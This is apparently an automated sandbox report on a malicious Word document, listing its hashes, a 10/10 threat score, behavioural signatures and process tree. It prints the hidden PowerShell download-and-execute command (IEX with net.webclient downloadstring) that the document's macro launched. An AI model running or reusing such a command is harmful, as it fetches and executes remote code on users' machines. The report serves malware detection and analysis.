Analysis

  • max time kernel
    17s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03/11/2024, 21:01

General

  • Target

    9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc

  • Size

    29KB

  • MD5

    ac9318d0e8db68d68897f7b226e17386

  • SHA1

    96a6eadd0779bfbf47b3a1a3a21c6841faa7279e

  • SHA256

    9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315

  • SHA512

    c36009ed76e35a43401b2058060d6d4297a74f7ee98ba580cb4be6725c72b4662d043fcfabe073f3e561aa607835a44bfcca2dc5969777ce557fb0e22f2639a9

  • SSDEEP

    192:5EO0lLZEvA+6/6r8px8SmvowzxHq30wa6Y6P0tPBxV05JB8aY:a/8iS8px8SMDHgBctK5J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://127.0.0.1:8000/arquivos/windows.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1076
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3044
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2664

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1076-0-0x000000002FEF1000-0x000000002FEF2000-memory.dmp

            Filesize

            4KB

          • memory/1076-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1076-2-0x000000007156D000-0x0000000071578000-memory.dmp

            Filesize

            44KB

          • memory/1076-14-0x0000000005B20000-0x0000000005C20000-memory.dmp

            Filesize

            1024KB

          • memory/1076-13-0x0000000005B20000-0x0000000005C20000-memory.dmp

            Filesize

            1024KB

          • memory/1076-23-0x000000007156D000-0x0000000071578000-memory.dmp

            Filesize

            44KB

          • memory/1076-24-0x0000000005B20000-0x0000000005C20000-memory.dmp

            Filesize

            1024KB

          • memory/1076-25-0x0000000005B20000-0x0000000005C20000-memory.dmp

            Filesize

            1024KB

          • memory/3044-18-0x0000000002D50000-0x0000000002DA2000-memory.dmp

            Filesize

            328KB